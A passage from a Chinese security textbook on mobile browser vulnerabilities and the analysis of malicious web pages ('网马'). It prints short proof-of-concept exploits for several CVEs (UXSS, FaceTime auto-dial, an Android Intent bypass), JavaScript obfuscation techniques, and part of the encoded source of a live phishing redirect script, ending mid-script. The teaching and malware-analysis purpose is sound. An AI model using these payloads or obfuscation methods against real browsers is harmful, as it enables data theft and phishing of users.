针对移动端的攻击屡见不鲜，例如2015年舆情监控公司Hacking Team泄露出来的攻击代码中就可以发现一个利用编号CVE-2011-1202、CVE-2012-2825、CVE-2012-2871三个漏洞组合起来对Android 4.0～Android 4.3的系统发起攻击的例子。攻击者将信息泄露、任意地址读和一个缓冲区溢出漏洞组合起来挂马，在用户使用手机访问恶意网站时，在用户的Android手机中悄悄下载一个木马，该木马又会在后台悄悄root系统，并利用root权限安装恶意apk文件，对用户进行监听。这是个极端的例子，一些常见漏洞类型也总结如下。

6.2.1　通用跨站脚本攻击

首先是UXSS。是利用浏览器或者是浏览器中插件的漏洞，将本该被同源策略拦截的脚本或代码注入到一个任意网站中。UXSS的形成原因多种多样，一类UXSS的诱因可能和标签、窗口、框架等有关，大部分现代浏览器都是支持多标签的，但是网页内核实际上不知道整个浏览器的实现，只是负责自己这一个标签内的网页呈现，也许内核处理好了自己页面的同源准则，但是却不一定能够保证其他非同源页面的同源准则。

2014年9月巴基斯坦研究员Rafay Baloch便爆出了这样一个会影响Android 4.4之前的用户的UXSS漏洞，CVE编号为CVE-2014-6041。在发现当年，这几乎影响了75%的安卓用户，而利用漏洞的代码相当简单，代码如下。

<iframe name="testwindow" src="http://google.cn”





></iframe> <input type=button value="test" onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','testwindow')">



在浏览器中单击“test”按钮之后，这段代码将无视同源准则，读取http://google.cn的代码。要说这个漏洞的产生根源则有些让人唏嘘——早在2010年，这个漏洞就已经在桌面版的Chrome中修复
 [image: https://code.google.com/p/chromium/issues/detail?id=37383]

 ，但手机端中却一直使用着未经修复的代码。


这个问题出在判断协议的逻辑中，本来javascript协议传给框架执行时，浏览器应当检查框架和动作发起者是否同源。但是在有问题的代码中，浏览器只是简单地判断了URI字符串是否以“javascript：”开头。攻击代码中，javascript之前还有一个空白字符，因此没有匹配上任何协议，被当作是一个相对地址绕过了检查。之后，浏览器开始标准化URL，在这个过程中，浏览器又将URL前导空白字符全部删除。最终传递给框架时，这个URL被正确地识别为javascript协议，从而直接执行了起来，由此引发漏洞。

[image: ]
图6-4：CVE-2014-6041触发后的效果



笔者搭建了一个测试页面http://tem.pw/index.php/6.html，在有漏洞的浏览器中，单击“test”按钮之后，会弹出http://www.google.cn的源代码，而在没有漏洞的浏览器中，是不允许任何脚本从http://tem.pw/访问框架内并不同源的http://www.google.cn/的文档信息的，所以不会弹出对话框。

6.2.2　地址栏伪造

与桌面浏览器一样，移动端一些浏览器也没能正确地处理地址栏的状态同步。地址栏伪造与UXSS不同的是，它只是逻辑问题，因此并不会违反网页的SOP，因此只会被用来钓鱼。

PC浏览器上常见的HTTP 204地址栏伪造，在移动端浏览器中也很常见。如Android原生浏览器中包含的HTTP 204地址栏伪造漏洞，就可以伪造http://c.baidu.com/。测试页面可以在http://tem.pw/index.php/7.html找到。在有漏洞的浏览器中，测试后的结果应当类似于图6-5的样子。

[image: ]
图6-5：Sony Xperia Z3原生浏览器中的一个HTTP 204地址栏伪造漏洞



另一类信息伪造的漏洞则类似于网站铭牌伪造之类，例如有一些浏览器中，即使访问的网站是钓鱼网站，通过一些方式也可以让浏览器展示出来合法的网页铭牌[image: 铭牌相关的安全问题也可参考：http://wooyun.org/bugs/wooyun-2015-0111917。]

 。


6.2.3　界面伪装

即使手机屏幕分辨率足够高，但是限于屏幕大小，为了能让人看清楚屏幕上的字，手机依旧要放大页面。这也就限制了一个屏幕上最多能显示的字数。为了能够在小的屏幕上展现更多内容，浏览器只好做出决定——尽量不显示那些不是时刻都需要的部分。

在手机上经常能够见到一种设计，那便是在页面向下滑动的时候，地址栏会自动隐藏，等用户再次向上滑动时，地址栏才会再展现出来。这是一种不错的设计理念，因为用户并不是时刻都需要看到地址栏。

在2010年便有人提出这种攻击iOS 5的Safari浏览器的方式[image: http://www.dhanjani.com/iphone-safari-ui-spoofing/]

 ，做法也很简单，那便是伪造一个一模一样的地址栏，并且在页面中加上许多换行，这样在页面加载完的时候，Safari自身的地址栏就会自动隐藏，而展现给用户一个假地址栏。


[image: ]
图6-6：2010年SANS Application Security blog中贴出的攻击范例



自2010年黑帽大会已经过去了5年，在iOS8上，浏览器已经会默认显示UI，而且在上下翻动时也不会隐藏。而在其他系统中则不完全是这样，例如Android 4.2.2的原生浏览器，在页面加载完的同时，立刻就隐藏了地址栏。而在Android 4.4.4原生浏览器中却又不会隐藏地址栏。

[image: ]
图6-7：Android 4.2.2中自动隐藏地址栏后的结果




6.3　结合系统特性进行攻击

从上面这些例子来看，内核相关的漏洞大部分出在内核代码陈旧，以及一些合入桌面版的修复代码，没有及时合入移动端的代码库中导致。另外，浏览器漏洞也体现出了明显的系统相关性，让我们看几个和系统特性有较强关系的典型漏洞示例。

6.3.1　Android一例漏洞：使用Intent URL Scheme绕过Chrome SOP

Android的Intent是一种进程间通信机制。一个Intent通常包含有动作、数据和额外信息。动作指明了需要做的操作，数据通常以data URI形式存在，额外信息则是许多值-对，例如name：”Alice”。

仅有在Activity的Intent-Filter中指定了intent为BROWSABLE后（<category android：name="android.intent.category.BROWSABLE"/>），Activity才可以被Intent URL Scheme调起。这个标记的意思是当前程序可以安全地被浏览器中的代码打开。Google并没有表示如何才算是安全地处理了，因此开发者需要保证在自己的APP中接受任何的数据都可以正确地处理。

Intent URL Scheme的语法如下：

#Intent;[package];[component];[action];[extra];[category];[scheme];end


当从浏览器中调用时，通常前面会加上intent：或者intent：//。Android中大部分的浏览器都支持Intent URL Scheme，但是开发者却并不一定知道支持它的风险，因此不一定能正确地处理Intent。不同的浏览器组件中互相通信时，是需要做安全检查的。




一个简单的方法是将location.href指向一个Intent URL Scheme，然后浏览器中这个URL就会被parseUri（）解析并创建出一个Intent对象。随后，Intent的startActivity（）会启动对应的Activity。

例如2014年，Takeshi Terada[image: http://www.mbsd.jp/Whitepaper/IntentScheme.pdf]

 发现的一例Android Chrome 30中的漏洞便利用了这个问题，通过使用Selector Intent，可以绕过BROWSABLE的限制并将内容发送至Chrome的私有Activity中。他发现了WebappActivity可以用来执行一段脚本，从而能够绕过SOP，构造出UXSS漏洞。他的利用代码如下：


    <script>
        // 在





 WebAppActivity0 中打开一目标网页





http://www.example.com
        location.href = "intent:#Intent;S.webapp_url=http://www.example.com;l.webapp_id=0;
        SEL;compo
        nent=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
        // 然后等待一段时间后，再次令该





Activity访问一段





javascript: URI，这使得他可以注入一段脚本到刚刚打开的页面中，形成





UXSS。






        setTimeout(function() {
            location.href = "intent:#Intent;S.webapp_url=javascript:(恶意脚本





);l.webapp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
        }, 2000);
</script>


上述脚本中用到的com.google.android.apps.chrome.webapps.WebappActivity0是一个私有Activity，它并没有BROWSABLE属性，但是通过Selector Intent依然收到了这个Intent。该脚本执行后，该Activity会在同一上下文中依次访问http://www.example.org和javascript：（恶意脚本），这使得后面这段恶意脚本注入到了example.org的上下文中，形成了UXSS。




在新版本的Chrome中，Chrome已经将WebappActivity中对脚本进行导航的方式改为在新空白标签页中执行了，因此这个攻击已不能再触发。但是这个问题不仅仅出在Chrome中，许多程序依然没有过滤Selector Intent，所以还是可能存在类似的隐患。

6.3.2　iOS的一例漏洞：自动拨号泄露隐私

移动端的核心功能之一便是拨号。在浏览器中，除了常规的tel：URI可以触发一个需要用户确认的拨号行为之外，设备内置的视频通话软件Face Time也可以创建一次呼叫行为，由于FaceTime是内置的，因此如果处置不当则会面临严重的隐私泄露问题。

安全公司Rapid7的研究员发现在iOS 7.0.6自带的Safari中，通过在网页中内嵌一个iframe指向一个facetime-audio：URI，可以不经过用户确认，直接给对方进行Facetime语音拨号。这个漏洞的编号是CVE-2013-6835，漏洞可能导致用户的电话号码或是邮件地址直接泄露给攻击者，如果攻击者在一些购物网站中插入类似的脚本，就可以收集到所有设备上存在漏洞的访客的电话号码或是邮箱地址，危害巨大。

通常，正常的呼叫流程如图6-8所示，图中的三步分别代表：

①在浏览器中访问URI facetime-audio：//facetimeaddress，代表此时正准备向facetimeaddress发起一次的Face Time语音呼叫。

②当用户确认或是由其他动作执行导航时，浏览器提示当前页面正试图在“InCallService”中打开链接，并正准备向facetimeaddress发起一次语音呼叫。

③仅当用户在单击呼叫按钮之后，系统才应当向对应地址发起一次呼叫。

[image: ]
图6-8：正常的拨号流程



在有漏洞的系统上则没有第二步的提示，而是直接在后台拨呼出了FaceTime音频。在访问这个页面后，也将能看到FaceTime中留下一条向test@example.com的呼叫记录。

[image: ]
图6-9：FaceTime中留下的拨号记录



漏洞的报告者给出了一个简短的PoC：

<iframe src="facetime-audio://user@host.com" ></iframe>


在修复漏洞后的系统中，当你试图在iframe中访问facetime-audio URI时，浏览器会正常地弹出提示，告知用户是否要继续呼叫。你可以在测试页http://tem.pw/index.php/5.html进行测试。




[image: ]
图6-10：漏洞修复后的Safari在含PoC页面中的效果图



6.3.3　Windows Phone一例未修补漏洞：利用Cortana显示IE中已保存密码

WinPhone自带的Internet Explorer for Mobile（本节中将简称为WinPhone IE）提供了一个记住用户输入的密码的功能。在PC端，当你选择记录密码后，事实上这段密码是难以简单地使用复制或者拖曳的方式传递给其他程序的。但是在WinPhone IE中却是一个例外。我们可以简单地做一个实验，先打开百度网站登录账号，这时WinPhone IE会提示“要记住此网站的密码吗？”，这是我们选择“是”。

保存完密码之后，可以退出已经登录的账号，再重新进入登录页面。此时，可以看到WinPhone IE已经帮我们自动填写好了用户名和密码。也许这段密码难以复制，但是WinPhone中却可以通过其他的方式来读取到密码。

WinPhone中提供了Cortana（中文名为“微软小娜”）个人智能助理功能，它“能够了解用户的喜好和习惯”，“帮助用户进行日程安排、问题回答”。Cortana可以在许多地方打开，在浏览器中也是如此，只需要选中一段文字，再单击搜索键即可呼出Cortana，Cortana会自动地帮你查找单词含义或是相关网页。

如果把Cortana用在密码上会怎么样？我们保存的账号密码是“examples”，双击密码框，可以很容易地选中密码全文，然后呼叫Cortana，这时情况不太妙，因为Cortana直接把刚刚我们选中的密码当作关键词搜索了起来，直接暴露了用户保存的密码的明文！

[image: ]
图6-11：在WinPhone 8.1的IE中记录用户密码



[image: ]
图6-12：Cortana搜索栏的“examples”是我们保存的密码明文



可是在笔者写本章时（2015年8月），WinPhone 8.10.14219.341版本仍没有修复此问题。因此，如果仍在使用WinPhone 8.1，在官方放出补丁之前，请不要轻易地记录密码，或是使用更安全的软件管理密码。


	
http://www.mbsd.jp/Whitepaper/IntentScheme.pdf返回







6.4　本章小结

在本章中，我们介绍了移动端的安全状况以及移动端常遭受到的威胁，例如UXSS、界面伪装、信息伪造等PC端常见的问题，在移动端也会见到。随后，我们介绍了几个移动端的安全问题和产生的原因，我们发现移动端安全问题也和系统特性紧密结合。

有这样一些漏洞挖掘的提示。

1．可以观察Google Chromium的讨论组，尝试使用Chromium的安全测试用例多测验已经在PC上出现过的问题，是否仍然在移动端以不同的形式出现过。

2．进行浏览器Fuzz。移动端的浏览器Fuzz和PC端的Fuzz核心思想几乎一致，只是细节方面需要仔细调整。

3．测试不同应用的交互。通过检查应用与网页交互的实现方式，来对这个过程进行挖掘。

4．官方手册未描述清楚，没有明确安全指导的内容。阅读浏览器规范，如果出现了官方文档并没有指明某个内容浏览器应当如何去实现的情况，这时就可以对比不同的浏览器实现是否有差异。如果有差异可以顺藤摸瓜，找到利用方式。

5．插件。移动端浏览器和PC端一样，部分浏览器也支持各式各样的浏览器插件，或者调用浏览器外程序，这些交互一旦产生问题，则也可能会导致严重的后果，例如提权、任意代码执行等，这些都是可以进行测试的点。

为了保障移动端浏览器安全，建议iOS用户和WinPhone用户及时安装系统推送的补丁。如果Android用户可以接收到补丁也一定要及时安装。如果限于网络环境无法接受官方补丁的时候，则推荐尽量将关键应用替换为及时更新的第三方软件，这样也许会得到更好的防护效果。


第2篇　实战网马与代码调试


	实战浏览器恶意网页分析

	调试工具与Shellcode




7　实战浏览器恶意网页分析

网马是“网页木马”的简称，它利用浏览器或插件漏洞取得用户计算机的控制权。2006年前后的网马爆发期，浏览器保护技术尚不完善，网马又经常使用堆喷射[image: 循环申请内存，并最终覆盖到某个特定地址，从而让攻击者执行恶意代码。]

 ，在攻击后使浏览器内存占用飙升，以至于整个系统的卡顿表现相当明显。稍有经验的人可能立马会反应到被攻击了。


到2015年时，随着硬件性能的提高，即使触发漏洞时内存突升几百兆，卡顿表现也不会太明显。而且新漏洞中尚有一些影响广泛且不需要大量内存操作就可触发的漏洞。可以说，现在攻击者几乎是真正在用户没有察觉的情况下就发起了攻击。

为了保护用户的安全，杀毒软件也逐渐介入了防御恶意网页的领域，并发展出了较为成熟的网页防护和网马查杀技术，例如基于内存写入扫描、动态脚本执行扫描等。“网马”的作者只好在浏览器中和杀毒软件开展起了拉锯战。

拉锯战的重点是“混淆”。它包含许多方面，例如域名的随机化、加载方式的变化、网马文件名的随机化以及脚本的编码、加密、分散存放等，这些都是目前常见且成熟的躲避杀软检测的方式。


	
循环申请内存，并最终覆盖到某个特定地址，从而让攻击者执行恶意代码。返回







7.1　恶意网站中“看得见的”攻防

不少浏览器以及安全防护软件都采用黑名单机制过滤有害内容。黑名单对攻击者来说是一个杀伤力巨大的武器。试想，如果攻击者的网站被加入了黑名单，那么无论他有多么新、多么冷门、加密多么复杂的漏洞利用代码，都不能进行有效的攻击。

为了和黑名单做对抗，许多攻击者会优先考虑注册新域名。许多域名在首年注册时，注册费用都非常低，对挂马者来说，固定的域名本身就不是一个会长期使用的东西，所以，挂马者可能会一次注册大量域名留作后用。

在国外的一些恶意网站和木马中可以发现，攻击者会使用软件自动注册域名。域名的名称由一种特定的域名生成算法（Domain Generation Algorithm，DGA）确定。攻击者要想摆脱固定的配置服务器（如果固定服务器被拦截或连接中断，攻击者就会失去对受害者的控制），就要确定一个固定的算法用于计算线上域名，这样攻击者散布出去的恶意软件才可能定位到当前正在使用的域名上。
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图7-1：使用DGA的原因



例如，以下这些是某个利用Angler漏洞工具包（Angler Exploit Kit，也简称Angler EK）的攻击者拥有的域名：py9kqyq340w.com、hxye5y6bwyd1.com。这些“随机”域名可以借由机器学习和人工识别来加入黑名单。分析者可能会通过对域名的注册人、指向的IP、域名的名字规律、网站上的文件、用户侧上报累积的攻击报告等内容来确定一个域名是否可疑。

除去域名，恶意软件的文件名也可能是过滤规则中的一项。许多安全软件都会检查常见的恶意文件名。因此，攻击者也不得不经常修改文件名的规则，例如采用随机或是常见的名字。还好，这些经常变化的文件名经常和随机化的域名一起出现，通过不断添加对新注册域名下的可疑文件的识别，使用更少的机器和人工操作就可以把它们“一网打尽”。

以Angler EK为例，它的域名比较容易被人识别，它的特征是域名长且夹杂着大量辅音字母、数字，机器想要“一眼”看出来却并不容易[image: 例如，如果有某某股份有限公司取了公司名称的拼音首字母加上公司创办年份，它的域名可能就看起来像“mmgfyxgs2015.cn”，这在机器识别时，和Angler注册的域名看起来似乎别无二致。]

 。所以，安全软件还需结合某些恶意网站的特点来进行入库。


ads.php是2015年8月份监控到的Angler使用Click Fraud[image: Click Fraud是指利用网站广告来诱骗用户单击到挂马网站的一种攻击形式。]

 攻击时常用的文件名，访问http://［Angler域名］/ads.php？sid=xxxx后，服务器会返回一个列表，列表中包含有恶意指令，如图7-2所示。由于攻击者使用的文件名很常见，因此安全软件过滤的时候也需要考虑是否可能是正常网站，以免造成误报。


[image: ]
图7-2：某个Angler的配置文件



以上介绍是用户“看得见”的攻防形式，针对这类攻击代码，可以通过训练机器学习规则自动过滤，从而大量减少人工审查的时间。在本章中，我们将介绍另一部分用户“看不见”的内容，那便是恶意脚本。


	
例如，如果有某某股份有限公司取了公司名称的拼音首字母加上公司创办年份，它的域名可能就看起来像“mmgfyxgs2015.cn”，这在机器识别时，和Angler注册的域名看起来似乎别无二致。返回




	
Click Fraud是指利用网站广告来诱骗用户单击到挂马网站的一种攻击形式。返回







7.2　恶意脚本的抓取和分析

本节中“抓取”是指取得恶意代码的步骤。在本地杀毒软件发出警告之后再复制文件，或是在浏览器的历史列表中取得恶意链接，都是抓取恶意脚本的方式，而且属于事后分析。如果你有蜜罐系统，或是安全软件的上报接收服务、感染数据库、内网防火墙监控、流量分析系统等，就可以做到早期分析。还可以采用最常用也是比较现实的方式，借助搜索引擎获取恶意脚本，也可以做到较为及时的分析。

前两种都有明确的日志参考，因此无须花费过多时间就可以抓到对应脚本。让我们介绍一下利用搜索引擎来确定恶意脚本的方法。搜索引擎搜索到的通常都是被别的流量分析系统抓到过的恶意脚本，大部分比较靠谱，利用这些系统的日志，我们就可以抓取恶意脚本了。

抓取恶意脚本的原因可能因人而异，例如公司内部刚刚经历了一场APT攻击，对方使用了一个0day漏洞，这时，对截获的流量进行分析，能了解它利用了什么样的漏洞、如何攻击、攻击的最短PoC是什么、如何进行事后修复等。

还有，例如安全研究者正在对病毒进行分析，这时可能需要从源头进行闭环分析；对攻击者的网马进行简单修改后，测试在不同环境下漏洞的表现和危害程度，进行安全评估；或是对一些著名的网马攻击脚本的思路进行学习，这些都可以通过对网马脚本的分析处理加以了解。以上就是恶意脚本的抓取和分析需要做的内容。

7.2.1　发现含攻击代码的网址

前文我们提到Click Fraud关键词“ads.php？sid＝”，假如我们用它来查找，再限定某个时间范围，即可得到针对性较强的搜索结果。如图7-3所示的所有的ads.php的域名均为流量扫描系统（如urlquery.net和virustotal.com的结果）检测到的2015年8月期间Angler EK的Click Fraud的攻击地址。

[image: ]
图7-3：搜索引擎返回的结果



7.2.2　使用rDNS扩大搜索结果

在获取到目标之后，还可以通过反查域名（Reverse DNS Lookup，或rDNS）来扩大结果的范围。通常我们使用DNS解析将一个域名解析成对应的IP地址，这称作正向DNS查询
 。而如果将这个过程倒过来，那便是rDNS，所以它叫作反向DNS查询
 。rDNS的数据库位于arpa顶级域，进行反查的时候使用PTR记录来查询。

我们可以挑选其中一个域名，然后使用地址反查功能，获取到域名对应的IP下还有哪些网站。相对于正常网站，与恶意网站同IP的网站很可能都有或曾经有解析到类似内容的动作。当然，这里假设攻击者自己拥有一台独立的服务器。如果恶意网站和其他正常网站一起托管在一个虚拟主机上，那结果可能就不准确了，但是这个情况可能并不多见，因为如果是这样，服务提供商可能随时会掐断网络访问，攻击者的利益无法获得保障。

[image: ]
图7-4：rDNS查询的结果



7.2.3　下载攻击代码

攻击代码可以简单地通过下载工具直接下载得到。例如一个攻击者的网站地址是http://［恶意域名］/［文件名］.htm，通过下载工具直接将其保存到硬盘即可。还有一种方式则是使用浏览器的预览功能。例如Google Chrome有一个view-source的URI scheme，我们只需要使用view-source：//［恶意的网址］并替换网址的http或https即可看到网页源代码。

[image: ]
图7-5：最后的脚本被卡巴斯基识别为木马“Trojan.JS.Agent.btr”



而随着自动分析工具的普及，许多网页已经开始做额外的绕过措施来逃避安全人员和安全工具的扫描检查了。例如Angler EK可以通过检查UA或者Referrer来限制一个IP只能访问一次Landing Page，如果这两者没有通过它的检查，网站就不会向你的浏览器返回任何数据，或是直接跳转到一个无害的网站以给人一种假象。

针对这类恶意网站，我们只能采用专门用于网马分析的工具了。笔者曾经制作过这样一个工具，名为Redoce，可以在这个工具中指定UA、Referrer等内容，从而达到欺骗恶意网站的目的。其他一些自动分析工具，例如Malzilla等非常强大的网马分析工具，也可以达到同样效果。

[image: ]
图7-6：Malzilla模拟User Agent



7.2.4　搭建测试环境

恶意网站的分析通常伴随着恶意代码的执行。要分析恶意网站，一个合适的虚拟环境是必不可少的。虚拟环境通常指：

①虚拟机，例如VMWare、VirtualBox之类的虚拟机，并在虚拟机中运行一个合适的系统；

②隔离环境，例如Sandboxie、影子系统等在实际运行中可使用一定的手段（如驱动保护等）构造出一个相对隔离的环境。

在这两类环境中，由于后者可能会让木马读到硬盘的文件，且可能存在被绕过的风险，因此不是特别推荐。但后者较前者资源占用更少，当系统开启虚拟机较为吃力时，也可以尝试使用后者。

本章将使用虚拟机来进行实验。测试中，我们在虚拟机中安装的操作系统是Windows XP SP3，安装的浏览器版本随意。然后安装需要的插件，例如Adobe Flash Player、Oracle Java等。在安装完成之后，给虚拟机抓取一个快照，以便在系统发生故障时及时恢复正常状态。虚拟环境不需要安装杀毒软件，因为杀毒软件可能会删除下载回来的脚本或文件。

7.2.5　初识网马反混淆工具

搭建好环境之后，就可以使用反混淆工具进行对网马的解码工作了。一个网马反混淆工具应当具有将代码从服务器抓取回本地，并提供合适的方式对代码中被对方编码的部分进行还原的能力。

在此我们使用Redoce进行解密[image: 下载地址为http://drops.wooyun.org/wp-content/uploads/2015/04/redoce.rar。]

 。先介绍一下它的简单用法，在填写好网址之后，单击“GO”即可获取网页源代码。选中一部分代码，然后在下方单击对应的解码方式即可将编码后的内容解码。


在代码区单击鼠标右键，还可以对选中部分进行各种常见的操作，如解码、标准化、着色等。同时软件也支持对网马的自动解密，这在遇到一些简单编码的网马时尤为有效，软件可以迅速地处理脚本并找到攻击者试图利用网马下载到的EXE文件。

工具只是用来提升效率的，如果条件允许，还是建议先了解编码、解码的具体原理。接下来，让我们简单地介绍一下常见的网马编码形式并开始手动分析。在本章中，如果没有特别指出脚本的语言，那么涉及到的代码均用JavaScript编写。

[image: ]
图7-7：Redoce的主界面



7.2.6　恶意脚本中常见的编码方式

要绕过杀毒软件的检查，对网页内容进行编码是最好的选择。网马生成时，通常会根据一定的算法对自身进行编码，然后以脚本的形式输出到网页中。在用户访问网马页面时，网马会执行解码算法，并将解码后的内容通过一定的方式（如eval、document.write等方法）执行起来。这便是一个完整的恶意脚本编码、解码的攻击流程。

这里的编码和解码更多是指对字符串。字符串的编码方式多种多样，以下我们列举一些常见的编码方式。这些编码方式不仅可以用在网马中，一些防火墙绕过，例如XSS字符串的输入，也依然可以使用同样的编码模式传入攻击要素。

7.2.6.1　字符串的编码方式

（1）HTML实体编码，如&＃、&＃x、&。

在HTML中有一些字符是预留的，例如小于号、大于号（<、>）其实是作为标签的起始和结束符号来用的。因此，如果需要正确地显示这些字符，可以使用实体编码的方式。

实体编码的字符类似于“&实体名；”的形式，但是在实际使用时，末尾的分号可以不加。实体名称是区分大小写的。而另外两种则有些类似于转义符号，形式为&＃和&＃x，在它们的后面可以分别跟随十进制和十六进制的数字。

以实体编码存储时，小于号、大于号的编码分别是&lt；、&gt；。当然，也可以写作&＃60；和&＃62；或&＃x3C；和&＃x3E；。

例如，&＃x0003E会被认为是尖括号。这类实体编码可以用在HTML元素的属性中，例如可以指定<iframe src="http://www.b&#x0061；du.com"/>，在浏览器中这将被解释成一个指向百度的iframe。

[image: ]
图7-8：iframe中的实体编码



这类实体编码不能直接被JavaScript解开，如果需要得到实体对应的值，可以将包含实体的文字放到一个元素的innerHTML中，再读取它的innerText属性。

[image: ]
图7-9：获取实体编码的值



（2）百分号编码形式，如％、％u、％U。

浏览器提供了一种百分号形式的编码。与\x、\u转义符的形式类似，％、％u后面可以跟一个十六进制的数字，大小范围分别是0～255（十进制）和0～65535（十进制）。在JavaScript中可以使用unescape函数将编码后的字符转回对应文字。与unescape对应的函数是escape，它可以将字符转为百分号编码的形式。

[image: ]
图7-10：escape和unescape



（3）字符处理函数String.fromCharcode。

函数String.fromCharcode提供了将一个或一组字符的ASCII码转换成与之对应的字符串的能力。例如，调用String.fromCharcode（0x61）将返回字符a，这个函数也接受多个参数，例如调用String.fromCharcode（0x61，0x62）将返回字符串"ab"。

[image: ]
图7-11：String.fromCharcode



在各种与脚本相关的绕过代码中都可能出现fromCharcode的身影，通过一些复杂的表达式，很容易构造出与简单式等价，但是对静态检测器来说却较难检测出的代码。

[image: ]
图7-12：String.fromCharcode的其他用法



（4）类型转化，如toString（）。

归功于JavaScript的弱类型特性，JavaScript里面任何内容都可以调用toString来转换为字符串。转换后的内容可以通过下标取得各种字符。

[image: ]
图7-13：各种抽取字符串的方式



使用toString（）属于显式的类型转换，在JavaScript中还有许多其他的非显示转换方法，例如将多个对象使用＋连接时，如果其中有一个值是字符串，输出结果前便会隐式调用一下参与连接的每个对象的toString（）方法，并最终将这些字符串值连接起来，输出一个新的字符串对象。

另外，一些方法提供的name属性会返回方法的名字，在取得该属性值之后，可以抽出里面对应的文字。灵活利用JavaScript的字符串特性，可以很容易地组织自己想要的内容。
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图7-14：各种抽取字符串的方式



（5）利用JavaScript特性。

JavaScript中规定了多种特殊情况下值相加的结果，例如两个对象相加时，会将对象中的值连接起来，输出一个字符串类型的值，例如[0x61]+[‘a’]输出"97a"，而[0x61]+[0x61]输出"9797"。

[image: ]
图7-15：各种抽取字符串的方式



利用这个特性和（4）中介绍的内容，我们可以将它和任何对象连接起来，最终都会得到一个字符串对象，通过下标搜索，就可以获得想要的字符串。而下标部分甚至也可以混淆，例如！！false*true会得到0，！NaN+！！NaN会得到1，以此类推。这也是一些重度JavaScript混淆工具，例如JSFxxk的混淆原理。

[image: ]
图7-16：各种抽取字符串的方式



在字符串组合完成之后，可以使用window["eval"]或是this["eval"]等来调用拼接后的内容。例如this["\x65v\x61l"]（"\x61lert（1）"）会弹出对话框"1"。

（6）从环境中取得字符串。

依然以Angler EK为例，该漏洞工具包在生成挂马页面时，会从它的词典中生成大量垃圾语句填充在页面中。页面中的恶意脚本运行时，会从这些垃圾语句中找到自己需要使用的内容，然后将其作为内容解密的一部分进行解密，通常都是使用innerHTML和innerText属性来读取内容。

Angler EK较老版本会采用一些特殊的加密方法，例如将解密函数自身作为密钥进行加密，如果分析人员修改解密函数，试图从中获取解密结果，会立刻破坏函数密钥并得到一个错误的结果。通常使用arguments.callee或arguments.caller等类似的方式来获取函数的引用。

实际运用时，网马使用的可能远不止上述介绍的这些，但是作为基础内容，只要牢牢掌握才能在遇到网马时一眼看出是哪一部分进行了编码，并能第一时间选择对应的解码方式进行处理。

7.2.6.2　实战处理一个仿QQ空间钓鱼网站的加密

让我们以一个常见的钓鱼网站为例，如图7-17所示。QQ上某个好友不慎中毒，木马自动编辑并转发出这样一条有诱惑性的消息。中间的连接虽然显示为user.qzone.qq.com，但是实际上指向的是hXXp：//is.gd/Bft23U。这个短链接指向一个钓鱼网站。
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图7-17：空间中的钓鱼网站



在浏览器中访问，可以发现该模仿QQ相册的钓鱼网站做得十分逼真。

[image: ]
图7-18：钓鱼网站的外观



钓鱼网站在许多人眼中可能并不是一个有技术含量的东西。这个观点在几年前可能还比较准确，但是最近可能有些过时了。因为随着安全软件的进化，如果攻击者只是单纯地利用模板或是直接抓取目标网站的内容，那它很有可能会被安全软件直接查杀或是禁止访问。因此，钓鱼网站的作者也在和安全软件进行着攻防较量。让我们看一下这个网站有哪些攻防点。


	使用短链接



单击短链接之后，它会跳转到http://4rk5rv.fgerer4.vipsinaapp.com/f1.php？=UaXGj？qq.com这个链接上。

这个链接存在许多问题，例如它长得相当奇怪，URL前后的随机名可能会让潜在受害者放弃单击。还有一个更“严重”的问题，这个网址已经被QQ的恶意网址库标记为恶意链接。如果通过QQ发送，用户单击是的几率会大大减少。最后，由于木马会大量发送此类信息，如果被监控程序截获，该域名可能会直接进入恶意网址库，攻击者出于保护自己域名的目的，也需要进行一定的伪装。

所以，攻击者采用了短链接的方式。短链接变形十分容易，只要更改原始URL中的部分内容，就可以产生不同的短链接。安全厂商肯定不会将短链接提供者的域名全部屏蔽，这正符合攻击者的预期——自己的URL隐藏在短链接之下，无形之中受到了保护（事实上显然并不是这样的）。所以说，这是钓鱼网站“看得见”的攻防点。


	Landing Page



在网马中有一个常见名词Landing Page，可称为“中转页”或“跳转页”。它的作用很多，例如检查用户的浏览器版本、插件安装情况，以及记录用户的IP或检查用户的页面来源等。

如果攻击者想设定一些门槛，比如不允许从地址栏直接访问、操作系统不是Windows或来自美国的用户访问自己的恶意网站，就可以在Landing Page进行检查，并把符合条件的用户重定向到一个看起来无害的页面上。

[image: ]
图7-19：直接访问钓鱼网站的Landing Page之后跳转到了百度



这么做是为了减少被安全公司自动抓取后进行分析的概率。特别是在恶意网页使用一个比较少见的漏洞时，攻击者肯定更想让漏洞在受害者的电脑上触发，而不是在安全研究人员的电脑上执行起来。自动化抓取程序在访问到Landing Page之后，很可能就被Landing Page的过滤条件排除在外，直接得到一个指向合法网站的跳转，这样分析程序可能就会放过这个页面了。


	屏蔽安全提示、黑入合法网站



在某些云空间提供商那里注册空间时，如果注册人没有提供有效的身份证明，那么运营商可能会在空间被访问时弹出一个TIPS，提示这个空间的所有者没有通过实名认证。但是这个提示是用JavaScript弹出的。攻击者在PHP返回代码时，先于TIPS的脚本返回一个注释符号，将新浪云的未实名认证的提示注释，成功地让页面无法显示未实名认证的提示条。

[image: ]
图7-20：钓鱼网站使用注释符号来绕过TIPS



还有，攻击者有时候也会“借用”一个合法网站来提供恶意内容，例如这个例子中，攻击者便借用了一个https://www.premiumtransportation.com/plus/include/js/uapda/f1.js来作为中转跳转。让我们看看负责跳转的脚本的f1.js的源代码：

ting = "60,83,67,82,73,80,84,32,32,32,116,121,112,101,61,116,101,120,116,47,106,97,118,97, 115,99,114,105,112,116,62,101,118,97,108,40,102,117,110,99,116,105,111,110,40,112,44,97,44,99,44,107,44,101,44,100,41,123,101,61,102,117,110,99,116,105,111,110,40,99,41,123,114,101,116,117,114,110,40,99,60,97,63,34,34,58,101,40,112,97,114,115,101,73,110,116,40,99,47,97,41,41,41,43,40,40,99,61,99,37,97,41,62,51,53,63,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,99,43,50,57,41,58,99,46,116,111,83,116,114,105,110,103,40,51,54,41,41,125,59,105,102,40,33,39,39,46,114,101,112,108,97,99,101,40,47,94,47,44,83,116,114,105,110,103,41,41,123,119,104,105,108,101,40,99,45,45,41,100,91,101,40,99,41,93,61,107,91,99,93,124,124,101,40,99,41,59,107,61,91,102,117,110,99,116,105,111,110,40,101,41,123,114,101,116,117,114,110,32,100,91,101,93,